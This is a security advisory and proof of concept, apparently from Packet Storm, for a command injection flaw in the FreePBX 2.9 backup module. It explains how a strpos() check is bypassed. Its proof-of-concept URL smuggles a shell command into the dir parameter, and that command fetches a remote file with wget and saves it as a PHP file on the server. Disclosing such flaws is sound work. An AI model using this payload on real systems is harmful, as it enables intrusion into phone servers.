Twenty Year Anniversary

FreePBX 2.9 Remote Command Execution

FreePBX 2.9 Remote Command Execution
Posted Apr 27, 2013
Authored by Ahmed Aboul-Ela

FreePBX version 2.9 suffers from a backup module remote command execution vulnerability.

tags | exploit, remote
MD5 | 582fa2e5544c8c4da6487f4ceb1b05ba

FreePBX 2.9 Remote Command Execution

Change Mirror Download
# Title: FreePBX 2.9 Backup Module Remote Command Execution Vulnerability
# Author: Ahmed Aboul-Ela
# Contact: Ahmed.Aboul3la[at]gmail[dot]com
# Vendor: http://www.freepbx.org
# Software Link: http://mirror.freepbx.org/freepbx-2.9.0.tar.gz
# Version: 2.9 and prior versions should be affected too
# Tested on: Linux (Centos)

- Introduction:

FreePBX is an (graphical user interface) that controls and manages Asterisk, the world's most popular open source telephony engine software.
FreePBX has been developed and hardened by thousands of volunteers over tens of thousands man hours.
FreePBX has been downloaded over 5,000,000 times and estimates over 500,000 active phone systems.

- Vulnerability Explanation:

The vulnerability affects the "page.backup.php" file in the Backup Module of the FreePBX 2.9 which lead to a remote command execution
The affected $dir parameter is already sanitized and protected in the code but it suffers from a weakness that can be used to bypass this sanitization

The following if condition code is used to protect and sanitize the $dir variable in page.backup.php:

if (strstr($dir, '..') || strpos($dir, '\'') || strpos($dir, '"') || strpos($dir, '\'') || strpos($dir,'\`') ||
strstr($file, '..') || strpos($file, '\'') || strpos($file, '"') || strpos($file, '\'') || strpos($file,'\`') ||
strpos($id, '.') || strpos($id, '\'') || strpos($id, '"') || strpos($id, '\'') || strpos($id,'\`') ||
strpos($filetype, '.') || strpos($filetype, '\'') || strpos($filetype, '"') || strpos($filetype, '\'') || strpos($filetype,'\`')) {
print "You're trying to use an invalid character. Please don't.\n";
exit;
}

it should prevent the $dir variable from containing any single or double quotes by checking the presence of it using the strpos() function
but unfortunately there is a weakness in using strpos() that could be used to bypass the sanitization

According to php.net strpos() manual the function should return an integer number which represent the position of the character in the string and it starts the count from 0
so the first position of a character in a string will be 0 and this is the trick which will be used to bypass the sanitization function

if the single quote is the first character in the $dir variable then the strpos function will return 0 number
And if() statement doesn't check for the return type it only check for value so it will consider 0 returned from strpos() as a boolean value not an integer
the 0 for boolean means FALSE so the if condition will be False and it won't detect the single quote at the variable so it will bypass it :)


- Vulnerable Code Snippet at /admin/modules/backup/page.backup.php

LINE 25: $action = isset($_REQUEST['action'])?$_REQUEST['action']:'';
LINE 29: $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:'';
LINE 35: // The Sanitization code as mentioned
LINE 44: switch ($action) {
LINE 64: case "deletedataset":
LINE 65: exec("/bin/rm -rf '$dir'");

- Proof of Concept:

> To Execute command: wget http://site.com/file.txt -O file.php

http://[ip]/freepbx/admin/modules/backup/page.backup.php?action=deletedataset&dir=';wget http://site.com/file.txt -O file.php; echo 'mission done

> The the evaluated command will be:

/bin/rm -rf '';wget http://site.com/file.txt -O file.php; echo 'mission done'

- Fix / Solution:

you should upgrade to version 2.10

- Credits:

Ahmed Aboul-Ela - Information Security Consultant @ Starware Group

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    18 Files
  • 15
    Aug 15th
    38 Files
  • 16
    Aug 16th
    16 Files
  • 17
    Aug 17th
    22 Files
  • 18
    Aug 18th
    3 Files
  • 19
    Aug 19th
    3 Files
  • 20
    Aug 20th
    21 Files
  • 21
    Aug 21st
    7 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close